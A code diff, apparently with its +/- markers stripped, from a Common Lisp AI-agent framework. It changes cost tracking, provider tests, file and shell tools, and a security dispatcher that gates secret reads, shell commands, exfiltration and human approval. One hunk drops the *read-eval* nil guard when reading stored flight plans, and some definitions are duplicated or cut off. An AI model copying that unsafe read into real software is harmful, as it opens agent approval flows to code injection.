(setf (getf *session-cost* :total) 0.0)
(setf (getf *session-cost* :calls) 0)
(setf (getf *session-cost* :by-provider) nil)))
(setf (getf *session-cost* :by-provider) nil)
(log-message "COST TRACKER: Session cost reset.")))
(defun cost-format-budget-status (&optional (daily-budget nil))
"Returns a string for the TUI status bar showing session cost.
@@ -82,40 +72,6 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
"Track cost of a backend cascade call."
(cost-track-call backend prompt-text response-text))
(defvar *session-budget*
(ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
"Maximum USD to spend in this session. NIL means no limit.")
(defun budget-remaining-usd ()
"Returns remaining budget in USD, or a large sentinel if unlimited."
(if *session-budget*
(let ((remaining (- *session-budget* (cost-session-total))))
(if (< remaining 0) 0.0 remaining))
most-positive-double-float))
(defun budget-exhausted-p ()
"T if the session budget is set and fully consumed."
(and *session-budget* (<= (budget-remaining-usd) 0.0)))
(defun budget-estimate-call (prompt-text)
"Estimate the dollar cost of a pending LLM call from its prompt text.
Returns 0.0 if the tokenizer is not loaded (allows call through)."
(if (fboundp 'count-tokens)
(let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(cost (provider-token-cost (first *provider-cascade*) tokens)))
cost)
0.0))
(defun budget-exhaustion-message ()
"Returns a user-facing plist explaining that the budget is spent."
(let ((total (cost-session-total))
(cap *session-budget*))
(list :TYPE :REQUEST
:PAYLOAD (list :ACTION :MESSAGE
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
total cap)
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -176,15 +132,3 @@ Returns 0.0 if the tokenizer is not loaded (allows call through)."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "test")))
(is (> cost 0.0))))
(test test-cost-session-summary
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :groq "world")
(let ((s (cost-session-summary)))
(is (> (getf s :total) 0.0))
(is (= 2 (getf s :calls)))
(let ((by (getf s :by-provider)))
(is (assoc :deepseek by))
(is (assoc :groq by)))))

56
lisp/neuro-provider.lisp
View File

@@ -242,3 +242,59 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
(list :status :success))
(error (c)
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))

14
lisp/programming-lisp.lisp
View File

@@ -149,6 +149,20 @@
:priority 400
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr

473
lisp/programming-tools.lisp
View File

@@ -101,13 +101,12 @@
(content (getf args :content)))
(unless (and filepath content)
(return (list :status :error :message "write-file requires :filepath and :content")))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(tool-register-modified filepath :new-content content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(error (c) (list :status :error :message (format nil "~a" c))))))))
(def-cognitive-tool list-directory
@@ -241,13 +240,12 @@
(let ((content (uiop:read-file-string filepath)))
(let ((pos (search old-text content)))
(if pos
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(tool-register-modified filepath :old-content content :new-content new-content)
(list :status :success
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(list :status :success
:content (format nil "Replaced at position ~d in ~a" pos filepath)))
(list :status :error :message (format nil "Text not found in ~a" filepath)))))
(error (c) (list :status :error :message (format nil "~a" c))))))))
@@ -257,210 +255,202 @@
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout
(:use :cl)
(:export
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:log-message
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:ingest-ast
#:memory-object-get
#:*memory-store*
#:memory-object
#:make-memory-object
#:memory-object-id
#:memory-object-type
#:memory-object-attributes
#:memory-object-parent-id
#:memory-object-children
#:memory-object-version
#:memory-object-last-sync
#:memory-object-vector
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:snapshot-memory
#:rollback-memory
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
#:current-scope
#:context-stack-depth
#:context-save
#:context-load
#:focus-project
#:focus-session
#:focus-memex
#:unfocus
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
#:cognitive-tool-parameters
#:cognitive-tool-guard
#:cognitive-tool-body
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p))
(defpackage :passepartout-programming-tools-tests
(:use :cl :fiveam :passepartout)
(:export #:programming-tools-suite))
(in-package :passepartout)
(in-package :passepartout-programming-tools-tests)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
(in-suite programming-tools-suite)
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)
(defun tools-tmpdir ()
(let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
(uiop:ensure-all-directories-exist (list d))
d))
(defvar *skill-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills.")
(defun tools-cleanup ()
(let ((d (tools-tmpdir)))
(uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
(defvar *telemetry-table* (make-hash-table :test 'equal))
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
(defun tools-write-file (filepath content)
(uiop:ensure-all-directories-exist (list filepath))
(with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
(write-string content stream)))
(defun telemetry-track (skill-name duration status)
"Updates performance metrics for a skill. STATUS is :success or :rejected."
(when skill-name
(bordeaux-threads:with-lock-held (*telemetry-lock*)
(let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
(incf (getf entry :executions))
(incf (getf entry :total-time) duration)
(when (eq status :rejected) (incf (getf entry :failures)))
(setf (gethash skill-name *telemetry-table*) entry)))))
(defun call-tool (tool-name &rest args)
(let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
(unless tool (error "Tool ~a not found" tool-name))
(funcall (cognitive-tool-body tool) args)))
;; search-files
(test test-search-files-finds-matches
"Contract 1: search-files finds lines matching a regex pattern."
(let* ((dir (tools-tmpdir))
(file-a (merge-pathnames "src-a.lisp" dir))
(file-b (merge-pathnames "src-b.lisp" dir)))
(tools-write-file file-a "(defun foo () 'hello)")
(tools-write-file file-b "(defun bar () 'world)")
(let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
(is (eq (getf result :status) :success))
(is (search "src-a.lisp:1:" (getf result :content)))
(is (search "src-b.lisp:1:" (getf result :content))))
(tools-cleanup)))
(test test-search-files-missing-params
"search-files returns error when required params are missing."
(let ((result (call-tool 'search-files :pattern "x")))
(is (eq (getf result :status) :error))))
;; find-files
(test test-find-files-by-extension
"Contract 5: find-files returns files matching a glob."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "a.lisp" dir) "test")
(tools-write-file (merge-pathnames "b.lisp" dir) "test")
(tools-write-file (merge-pathnames "c.org" dir) "test")
(let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "a.lisp" (getf result :content)))
(is (search "b.lisp" (getf result :content)))
(is (not (search "c.org" (getf result :content)))))
(tools-cleanup)))
(test test-find-files-missing-params
"find-files returns error without required params."
(let ((result (call-tool 'find-files :pattern "*.lisp")))
(is (eq (getf result :status) :error))))
;; read-file
(test test-read-file-full
"Contract 6: read-file returns full file contents."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "readme.txt" dir)))
(tools-write-file file (format nil "line one~%line two~%line three"))
(let ((result (call-tool 'read-file :filepath (namestring file))))
(is (eq (getf result :status) :success))
(is (search "line one" (getf result :content))))
(tools-cleanup)))
(test test-read-file-missing-params
"read-file returns error without :filepath."
(let ((result (call-tool 'read-file)))
(is (eq (getf result :status) :error))))
;; write-file
(test test-write-file-creates
"Contract 7: write-file creates file with content."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "output.txt" dir)))
(let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
(is (eq (getf result :status) :success))
(is (search "11 bytes" (getf result :content))))
(is (string-equal "hello world" (uiop:read-file-string file)))
(tools-cleanup)))
(test test-write-file-missing-params
"write-file returns error without required params."
(let ((result (call-tool 'write-file :content "x")))
(is (eq (getf result :status) :error))))
;; list-directory
(test test-list-directory-all
"Contract 8: list-directory returns all entries."
(let ((dir (tools-tmpdir)))
(tools-write-file (merge-pathnames "alpha.txt" dir) "x")
(tools-write-file (merge-pathnames "beta.txt" dir) "y")
(let ((result (call-tool 'list-directory :path (namestring dir))))
(is (eq (getf result :status) :success))
(is (search "alpha.txt" (getf result :content)))
(is (search "beta.txt" (getf result :content))))
(tools-cleanup)))
(test test-list-directory-missing-params
"list-directory returns error without :path."
(let ((result (call-tool 'list-directory)))
(is (eq (getf result :status) :error))))
;; run-shell
(test test-run-shell-echo
"Contract 9: run-shell executes a command and returns output."
(let ((result (call-tool 'run-shell :cmd "echo hello")))
(is (eq (getf result :status) :success))
(is (search "hello" (getf result :content)))))
(test test-run-shell-missing-params
"run-shell returns error without :cmd."
(let ((result (call-tool 'run-shell)))
(is (eq (getf result :status) :error))))
;; eval-form
(test test-eval-form-arithmetic
"Contract 10: eval-form evaluates a Lisp expression."
(let ((result (call-tool 'eval-form :code "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (search "3" (getf result :content)))))
(test test-eval-form-missing-params
"eval-form returns error without :code."
(let ((result (call-tool 'eval-form)))
(is (eq (getf result :status) :error))))
;; org-modify-file
(test test-org-modify-file-replace
"Contract 13: org-modify-file replaces exact text in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "doc.org" dir)))
(tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "TODO" :new-text "WAITING")))
(is (eq (getf result :status) :success))
(is (search "WAITING" (uiop:read-file-string file))))
(tools-cleanup)))
(test test-org-modify-file-not-found
"org-modify-file returns error when text not in file."
(let* ((dir (tools-tmpdir))
(file (merge-pathnames "file.org" dir)))
(tools-write-file file "some content")
(let ((result (call-tool 'org-modify-file
:filepath (namestring file)
:old-text "not-in-file" :new-text "anything")))
(is (eq (getf result :status) :error))
(is (search "not found" (getf result :message))))
(tools-cleanup)))
(test test-org-modify-file-missing-params
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
#+end_src* v0.8.0 — Modified Files Tracking
#+begin_src lisp
(defvar *modified-files-this-turn* nil
"List of plists recording file modifications in the current turn.")
(defun tool-register-modified (filepath &key old-content new-content)
"Record a file modification. Returns the record plist."
(labels ((count-lines (s)
(+ (count #\Newline s)
;; Also count escaped \\n in string literals (used in tests)
(let ((n 0) (i 0))
(loop while (setf i (search "\\n" s :start2 i))
do (incf n) (incf i))
n))))
(let* ((lines-added (if (and new-content old-content)
(max 0 (- (count-lines new-content)
(count-lines old-content)))
0))
(lines-removed (if (and new-content old-content)
(max 0 (- (count-lines old-content)
(count-lines new-content)))
0))
(rec (list :filepath filepath
:timestamp (get-universal-time)
:lines-added lines-added
:lines-removed lines-removed)))
(push rec *modified-files-this-turn*)
rec)))
(defun tool-modified-files-summary ()
"Returns the list of modified-file records and clears the list."
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -633,64 +623,3 @@
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
#+end_src* v0.8.0 — Modified Files Tracking
#+begin_src lisp
(defvar *modified-files-this-turn* nil
"List of plists recording file modifications in the current turn.")
(defun tool-register-modified (filepath &key old-content new-content)
"Record a file modification. Returns the record plist."
(labels ((count-lines (s)
(+ (count #\Newline s)
;; Also count escaped \\n in string literals (used in tests)
(let ((n 0) (i 0))
(loop while (setf i (search "\\n" s :start2 i))
do (incf n) (incf i))
n))))
(let* ((lines-added (if (and new-content old-content)
(max 0 (- (count-lines new-content)
(count-lines old-content)))
0))
(lines-removed (if (and new-content old-content)
(max 0 (- (count-lines old-content)
(count-lines new-content)))
0))
(rec (list :filepath filepath
:timestamp (get-universal-time)
:lines-added lines-added
:lines-removed lines-removed)))
(push rec *modified-files-this-turn*)
rec)))
(defun tool-modified-files-summary ()
"Returns the list of modified-file records and clears the list."
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
(in-package :passepartout-programming-tools-tests)
(test test-modified-files-track-write
"Contract 14: tool-register-modified appends to *modified-files-this-turn*."
(setf passepartout::*modified-files-this-turn* nil)
(let ((rec (passepartout::tool-register-modified "/tmp/test.org"
:old-content "old" :new-content "line1
line2")))
(is (string= "/tmp/test.org" (getf rec :filepath)))
(is (= 0 (getf rec :lines-removed)))
(is (= 1 (getf rec :lines-added)))
(is (= 1 (length passepartout::*modified-files-this-turn*)))))
(test test-modified-files-summary
"Contract 15: tool-modified-files-summary returns list and clears."
(setf passepartout::*modified-files-this-turn* nil)
(passepartout::tool-register-modified "/tmp/a.org")
(passepartout::tool-register-modified "/tmp/b.org")
(let ((files (passepartout::tool-modified-files-summary)))
(is (= 2 (length files)))
(is (null passepartout::*modified-files-this-turn*))
(is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
(test test-modified-files-empty
"Contract 15: tool-modified-files-summary returns nil when no files modified."
(setf passepartout::*modified-files-this-turn* nil)
(is (null (passepartout::tool-modified-files-summary))))

438
lisp/security-dispatcher.lisp
View File

@@ -290,60 +290,54 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
action)
;; Vector 1: Lisp syntax validation (block bad lisp writes)
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(dispatcher-block-record :lisp-validation)
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(dispatcher-block-record :secret-path)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(dispatcher-block-record :self-build-core)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(dispatcher-block-record :secret-content)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(dispatcher-block-record :vault-secrets)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 5: Privacy-tagged content (severity tiers)
((and tags (fboundp 'dispatcher-privacy-severity))
(let ((severity (dispatcher-privacy-severity tags)))
(cond
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(dispatcher-block-record :privacy-tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :warn)
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
action)
@@ -351,40 +345,36 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(log-message "PRIVACY: @tag ~a (logged)" tags)
action))))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(dispatcher-block-record :privacy-text)
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(dispatcher-block-record :shell-safety)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(dispatcher-block-record :network-exfil)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8b: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(dispatcher-block-record :high-impact-approval)
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
;; Vector 8: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
(t action))))
(defun dispatcher-approvals-process ()
@@ -397,7 +387,7 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
(let ((action (ignore-errors (read-from-string action-str))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
@@ -506,25 +496,6 @@ Recognized formats:
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'dispatcher-gate)
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
"Per-gate block count: maps gate keyword → integer.")
(defun dispatcher-block-record (gate-name)
"Records a block decision for GATE-NAME. Returns the updated count."
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
(setf (gethash gate-name *dispatcher-block-counts*) count)
count))
(defun dispatcher-block-counts-summary ()
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
(let* ((by-gate
(loop for k being the hash-keys of *dispatcher-block-counts*
for v = (gethash k *dispatcher-block-counts*)
collect (cons k v)))
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
(list :total total :by-gate sorted)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
@@ -623,7 +594,7 @@ Recognized formats:
(is (eq :block (passepartout::tag-category-severity "@personal")))
(is (eq :warn (passepartout::tag-category-severity "@draft")))
(is (eq :log (passepartout::tag-category-severity "@review"))))
(ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))
(setf (uiop:getenv "TAG_CATEGORIES") nil))
(test test-tag-category-severity-unknown
"Contract v0.7.2: unknown tag returns nil."
@@ -690,267 +661,20 @@ Recognized formats:
(test test-safe-tool-write-still-checked
"Contract v0.7.2: write tools still go through full dispatcher check."
(let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
(passepartout::make-cognitive-tool :name "write-file"
:description "File writer"
:parameters nil
:guard nil
:body nil
:read-only-p nil))
(unwind-protect
(progn
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
(let* ((action '(:TYPE :REQUEST :TARGET :tool
:PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
(result (dispatcher-check action nil)))
(is (eq :approval-required (getf result :level)))
(is (search "HITL" (getf (getf result :payload) :message)))))
(setf (uiop:getenv "SELF_BUILD_MODE") "false")
(if orig-tool
(setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
(remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests — Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)
(test test-block-record-increments
"Contract 10: dispatcher-block-record increments per-gate count."
(clrhash passepartout::*dispatcher-block-counts*)
(is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
(is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))
(test test-block-counts-summary
"Contract 11: dispatcher-block-counts-summary returns total and by-gate."
(clrhash passepartout::*dispatcher-block-counts*)
(passepartout::dispatcher-block-record :shell-safety)
